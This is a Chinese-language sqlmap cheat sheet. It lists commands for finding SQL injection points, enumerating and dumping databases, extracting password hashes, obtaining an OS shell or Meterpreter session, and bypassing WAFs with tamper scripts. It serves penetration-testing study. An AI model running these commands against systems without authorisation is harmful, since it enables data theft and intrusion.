0x01. Sqlmap支援的資料庫
SQLMap支援的資料庫: | |||
MySQL | Oracle | PostgreSQL | Microsoft SQL Server |
Microsoft Access | IBM DB2 | SQLite | Firebird |
Sybase | SAP MaxDB |
0x02. 基本使用
- sqlmap -u ”URL“ --data ”POST資料“ 查詢注入點
- sqlmap -u ”URL“ --data ”POST資料“ --dbs 列出資料庫
- sqlmap -u ”URL“ --data ”POST資料“ --current-user 擷取目前使用者名
- sqlmap -u ”URL“ --data ”POST資料“ --current-db 擷取目前資料庫名稱
- sqlmap -u ”URL“ --data ”POST資料“ --passwords 資料庫使用者密碼
- sqlmap -u ”URL“ --data ”POST資料“ --is-dba -v 1 是否是管理者
- sqlmap -u ”URL“ --data ”POST資料“ -D 庫 --tables 查詢表
- sqlmap -u ”URL“ --data ”POST資料“ -D 庫 -T 表 --columns 查詢字段
- sqlmap -u ”URL“ --data ”POST資料“ -D 庫 -T 表 -C 字段,字段 --dump
SQLMap基本指令
- --passwords#資料庫使用者密碼
- --is-dba #是否是資料庫管理者
- --os-shell 寫shell
- --cookie 當有驗證的時候
- --file-read 檔案
- --file-write 寫檔案
- --flush-session 清除緩存
- --threads=《number》設定線程數
0x03. Sqlmap參數指令
SQLMap參數指令 | |
--method=<http方法> | 指定使用的http方法 |
--data=<post資料> | 送出post資料并對post資料進行測試 |
--param-del=<分隔符> | 指定參數的分隔符 |
--cookie <cookie鍵值對> | 添加cookie http請求頭 |
--headers <http請求頭字段和字段值> | 添加http請求頭,不同的頭使用“(n”分隔 |
--auth-type和--auth-cred | 指定認證方式并指定使用的憑證 |
--auth-file | 指定使用的證書檔案 |
--keep-alive | 使用http長連接配接,該參數與--proxy參數沖突 |
--null-connection | 隻擷取http響應的長度(大小)而不擷取真正的響應體,可以節約布爾型盲注使用的帶寬 |
--threads=<number> | 設定線程數 |
--o | 相當于同時設定以上三個參數 |
--p<參數清單> | 指定要測試的參數,不同的參數使用“,”分隔 |
--skip=<參數清單> | 指定哪些參數不測試,不同參數使用“,”分隔 |
*-- | 指出為靜态網頁的參數位置,如“/id/1*/” |
--dbms<資料庫類型> | 指定資料庫類型 |
--prefix<字首>和-suffix<字尾> | 指定PAYLOAD的字首和字尾 |
--tables | 擷取資料表 |
-b/--banner | 擷取資料庫版本 |
--current-user | 顯示目前資料庫使用者名 |
--is-dba | 判斷目前使用者是否為管理者使用者 |
--dbs | 列出資料庫系統的所有資料庫 |
--tables/--exclude-sysdbs/-D | 測試資料表 |
--dump | 擷取字段的值 |
--columns | 擷取資料字段 |
--dump/--start/--stop/--first/--last | 測試資料資料字段的值 |
--proxy、--proxy-cred、-proxy-file和--ignore-proxy | 關于代理的參數 |
--tor、--tor-type、--tor-port和--check-tor | 關于tor匿名網絡的參數 |
--risk | 指定風險等級 |
--level | 指定檢測等級 |
--technique | 指定要使用的注入技術 |
--common-tables和--common-columns | 暴力破解表名和列名 |
--os-cmd=OSCMD | 執行系統指令 |
--os-shell | 互動指令執行(寫入shell) |
--sql-shell | 執行SQL語句 |
--os-pwn--msf-path | 結合Meterpreter |
SQLMap參數指令示例
- sqlmap-u"http://url/news?id=1"--current-user#擷取目前使用者名稱
- sqlmap-u"http://url/news?id=1"--current-db#擷取目前資料庫名稱
- sqlmap-u"http://url/news?id=1"-dbs#列資料庫
0x04 Sqlmap腳本使用
sqlmap下的tamper目錄存放繞過WAF腳本
使用方法 --tamper 腳本名稱,腳本名稱
多個tamper腳本之間用空格隔開
apostrophemask.py | 用utf8代替引号 |
equaltolike.py | like代替等号 |
space2dash.py | 繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折号注釋,一個随機字元串和一個新行(’ n’) |
greatest.py | 繞過過濾 > |
space2hash.py | 空格替換為#号 随機字元串以及換行符 |
apostrophenulencode.py | 繞過過濾雙引号,替換字元和雙引号。 |
halfversionedmorekeywords.py | 當資料庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論 |
space2mssqlblank.py | 空格替換為其它空符号 |
base64encode.py | 用base64編碼替換 |
modsecurityversioned.py | 過濾空格,包含完整的查詢版本注釋 |
space2mysqlblank.py | 空格替換其它空白符号(mysql) |
between.py | 用between替換大于号(>) |
space2mysqldash.py | 替換空格字元(' ')(' -')後跟一個破折号注釋一個新行(' n') |
space2plus.py | 用+替換空格 |
防禦
繞過彙總